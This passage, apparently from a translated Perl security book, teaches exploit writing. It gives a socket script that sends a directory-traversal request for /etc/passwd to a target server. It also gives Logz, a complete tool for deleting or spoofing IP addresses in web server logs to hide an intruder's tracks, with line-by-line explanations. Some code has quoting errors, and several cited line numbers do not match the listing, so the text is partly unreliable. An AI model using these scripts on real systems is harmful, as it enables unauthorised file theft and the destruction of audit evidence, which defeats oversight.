1.5.8 I Am a Perl Coder!
例1-29只是修改过的“Hello World!”脚本,它给出了Perl的语法的一个实例。中间行只是注释:
#! /usr/local/bin/perl
#My first script
print ("I am a Perl Coder!");
典型的Web服务器攻击
用Perl编写Web server hack是开发exploit的最容易的方法之一。任何通过Web浏览器的URI(Uniform Resource Identifier,统一资源定位符)字段或控制Web服务器命令的方式可以探测到的漏洞,都能够用Perl很简单地重现。
例1-29 典型的Web服务器攻击
1 #! /usr/local/bin/perl
2 #The Canonical Web Server Hack
3 use IO::Socket;
4 use strict;
5 print "\nHere is your Introduction Sentence\n\n";
6 print "Generic Usage Statement: canonical.pl target_ipaddress \n';
7 my $host = $ARGV[0];
8 my $port = 80;
9 my $attack_string = ' GET /cgi-bin/bad.cgi?q=.././././././././././etc/
passwd%00\n\n';
10 my $receivedline;
11 my @thedata;
12 my $tcpval = getprotobyname('tcp');
13 my $serverIP = inet_aton($host);
14 my $serverAddr = sockaddr_in(80, $serverIP);
15 my $protocol_name = "tcp";
16 my $iaddr = inet_aton($host) || die print("Error with Target: $host");
17 my $paddr = sockaddr_in($port, $iaddr) || die print("Error with Target
Port or Address");
18 my $proto = getprotobyname('tcp') || die print("Error Retrieving
Protocol Utilized for Socket Connection");
19 socket(SOC, PF_INET, SOCK_STREAM, $proto) || die print("Error Creating
Socket!");
20 connect(SOC, $paddr) || die print("Error with Socket Connection!");
21 send(SOC,$attack_string,0);
22 @thedata=<SOC>;
23 close (SOC);
24 print "Here is the Received Data:\n";
25 foreach $receivedline(@thedata)
26 {
27 print "$receivedline";
28 }
分析
第7行到第18行定义了执行攻击时必需的变量。
第19行和第20行创建并初始化了一个套接字,作为向目标系传递送有效载荷的中介。
第21行将有效载荷变量$attack_string发送给目标系统,并将返回的数据保存到列表数组@thedata中。
最后,看看第24行到第28行,可知在发送有效载荷并接收到响应结果后,每行都执行向STDOUT打印输出的操作。
1.5.9 日志修改工具
如前所述,Perl以识别、利用和操作字符串的能力著称。它只要使用/包装的正则表达式,就可以控制字符串的解析、搜索和替换。例1-30的工具显示了Perl的字符串匹配和替换性能,还说明了随机数字创建和字符串创建的过程。该示例使用了Perl的GetOpt库。
例1-30 Logz
1 #!/usr/bin/perl
2 #Logz version 1.0
3 #By: James C. Foster
4 #Released by James C. Foster & Mark Burnett at BlackHat Windows 2004
in Seattle
5 #January 2004
6
7 use Getopt::Std;
8
9 getopts('d:t:rhs:l:') || usage();
10
11 $logfile = $opt_l;
12
13 ##########
14
15 if ($opt_h == 1)
16 {
17 usage();
18 }
19 ##########
20
21 if ($opt_t ne "" && $opt_s eq "")
22 {
23 open (FILE, "$logfile");
24
25 while (<FILE>)
26 {
27 $ranip=randomip();
28 s/$opt_t/$ranip/;
29 push(@templog,$_);
30 next;
31 }
32
33 close FILE;
34 open (FILE2, ">$logfile") || die("couldnt open");
35 print FILE2"@templog";
36 close FILE2;
37 }
38 ##########
39
40 if ($opt_s ne "")
41 {
42 open (FILE, "$logfile");
43
44 while (<FILE>)
45 {
46 s/$opt_t/$opt_s/;
47 push(@templog,$_);
48 next;
49 }
50
51 close FILE;
52 open (FILE2, ">$logfile") || die("couldnt open");
53 print FILE2"@templog";
54 close FILE2;
55
56 }
57 ##########
58
59 if ($opt_r ne "")
60 {
61 open (FILE, "$logfile");
62
63 while (<FILE>)
64 {
65 $ranip=randomip();
66 s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/;
67 push(@templog,$_);
68 next;
69 }
70
71 close FILE;
72 open (FILE2, ">$logfile") || die("couldnt open");
73 print FILE2"@templog";
74 close FILE2;
75 }
76 ##########
77
78 if ($opt_d ne "")
79 {
80 open (FILE, "$logfile");
81
82 while (<FILE>)
83 {
84
85 if (/.*$opt_d.*/)
86 {
87 next;
88 }
89
90 push(@templog,$_);
91 next;
92
93 }
94
95 close FILE;
96 open (FILE2, ">$logfile") || die("couldnt open");
97 print FILE2 "@templog";
98 close FILE2;
99 }
100 ###########
101
102 sub usage
103 {
104 print "\nLogz v1.0 - Microsoft Windows Multi-purpose Log
Modification Utility\n";
105 print "Developed by: James C. Foster for BlackHat Windows 2004\n";
106 print "Idea Generated and Presented by: James C. Foster and Mark
Burnett\n\n";
107 print "Usage: $0 [-options *]\n\n";
108 print "\t-h\t\t: Help Menu\n";
109 print "\t-d ipAddress\t: Delete Log Entries with the Corresponding
IP Address\n";
110 print "\t-r\t\t: Replace all IP Addresses with Random IP Addresses\n";
111 print "\t-t targetIP\t: Replace the Target Address (with Random IP
Addresses if none is specified)\n";
112 print "\t-s spoofedIP\t: Use this IP Address to replace the Target
Address (optional)\n";
113 print "\t-l logfile\t: Logfile You Wish to Manipulate\n\n";
114 print "\tExample: logz.pl -r -l IIS.log\n";
115 print "\t logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt\n";
116 print "\t logz.pl -d 192.10.9.14 IIS.log\n";
117 }
118 #generate random IP address
119
120 sub randomip
121 {
122 $a = num();
123 $b = num();
124 $c = num();
125 $d = num();
126 $dot = '.';
127 $total = "$a$dot$b$dot$c$dot$d";
128 return $total;
129 }
130
131 sub num
132 {
133 $random = int( rand(230)) + 11;
134 return $random;
135 }
执行
C:\logz.pl -h
Logz v1.0 - Microsoft Windows Multi-purpose Log Modification Utility
Developed by: James C. Foster for BlackHat Windows 2004
Idea Generated and Presented by: James C. Foster and Mark Burnett
Usage: logz.pl [-options *]
-h : Help Menu
-d ipAddress : Delete Log Entries with the Corresponding IP
Address
-r : Replace all IP Addresses with Random IP
Addresses
-t targetIP : Replace the Target Address (with Random IP
Addresses if none is specified)
-s spoofedIP : Use this IP Address to replace the Target
Address (optional)
-l logfile : Logfile You Wish to Manipulate
Example: logz.pl -r -l IIS.log
logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt
logz.pl -d 192.10.9.14 IIS.log
分析
● 第7行,声明Getopt函数。程序员可以使用该函数方便地设置参数标记,然后将每个标记的值定义在具有对应值的opt_variable中(如/devel/)$command –r user,该命令定义了opt_r变量,并将其值设为user)。
● 第9行,用Getopts从命令行获取参数。本例中:后面的值是获取的参数,而其他的则返回逻辑值。这些值在后面是很有用的。如果这些参数没有值,则脚本会打印出其使用方法(帮助菜单)。
● 第11行,设置标记的第一个用法。标记–l用于声明需要变更的日志文件。通过创建–l标记,将变量logfile的值赋给变量opt_l。
● 第15行到第18行,检测是否将帮助标记设为参数,如果是,就输出用法说明。
● 第22行,检测参数,以确保设置了–t选项而没有设置–s选项。也就是说程序员不是伪造目标IP,而是用随机的IP地址替代文件中的所有IP。
● 第24行,随–l传递的logfile在变量FILE中被打开。
● 第26行到第32行,文件用随机IP循环替换目标IP。这是通过在脚本末尾声明randomip函数生成randomIP和提取文件中的一行来完成的。
● 第29行搜索语句中,用–t定义了目标,并用ranip来替换它。第30行将当前已编辑的语句放入了临时日志中。替换过程通过命令s/<search_string>/<replace_ string>/完成,它将用替换字符串来替换文件当前语句的搜索字符串。
然后,循环移动到下一行并继续执行上述操作,直到完成整个文件的编辑为止,第34行,关闭FILE。
● 第35行,创建FILE2,并用–l将FILE2定向输入到logfile中。如果没有打开logfile,则语句结束,并提示couldn’t open。
● 第36行说明,如果上述所有的步骤都成功,那么临时日志就被保存到日志文件中。日志文件一旦写好,它就被关闭并发布,用于以后的操作。
● 第42行表示,如果设置了–s标记,伪造的IP地址就会替换目标IP,然后在第44行打开日志文件。
● 第46行到第51行的while循环和第26行到第32行的while循环几乎是一样的。但是,这里的循环并不是生成一个随机数来替换日志文件中的IP地址,而是用参数–s设置的伪造的IP地址来替换文件中目标IP地址的所有实例。
● 第53行执行相同的写操作。第53行关闭当前文件。第54行打开日志文件,将临时日志文件改写成实际的日志文件。一旦完成该操作,就关闭日志文件。
● 第61行到第77行,脚本使用随机IP地址替换文件中的每个IP地址。其执行方式和前述两个字符串替换的实例类似。
和第一个替换相似,第67行生成一个随机的IP地址。在第68行中,搜索函数用((\d+)\.(\d+)\.(\d+)\.(\d+))来搜索所有的IP地址。\d+表示一个数字加上0或更多数字。在这个示例中,每个循环至少要找到一个数字直到创建了一个完整的IP地址为止。该IP地址随后将被随机生成的IP地址所替换。
● 第73行到第76行,使用日志文件,并用临时日志来重写该日志文件。
● 第81行,用于检测是否传递了参数–d,该参数用于删除日志文件中含有指定IP地址的任意行。
● 第83行,打开文件,并执行while循环(与先前替换参数中使用的一样)来遍历文件中的每一行。与先前最主要的区别在于第88行到第91行。如果该行有包含目标IP地址的任何字符模式,那么循环就会跳过该行,并继续在文件中的下一行执行。所有不包含目标IP地址的行都被保存在了临时日志文件中,同时,所有包含目标IP地址的行都被删除掉了。
● 第98行到第101行,用临时日志文件重新改写了日志文件。
● 第102行到第107行,定义函数usage的用法。传递错误参数的实例或设置–h标记的实例会调用该函数。接着是一系列定义Logz用法的打印语句。
● 第118行到第135行,定义randomip和num函数。它们通常用于生成随机IP地址,以供Logz使用的多种替换参数使用。第133行的num函数创建了一个11到241之间的随机数。该随机数然后被传递给调用函数randomip。randomip函数要调用num 4次,以构成IP地址的4个8位。第122行到第125行中,只要生成了这四个数字,就被放置到第127行的total字符串中。然后返回该字符串,以填充多个参数必需的替换IP。






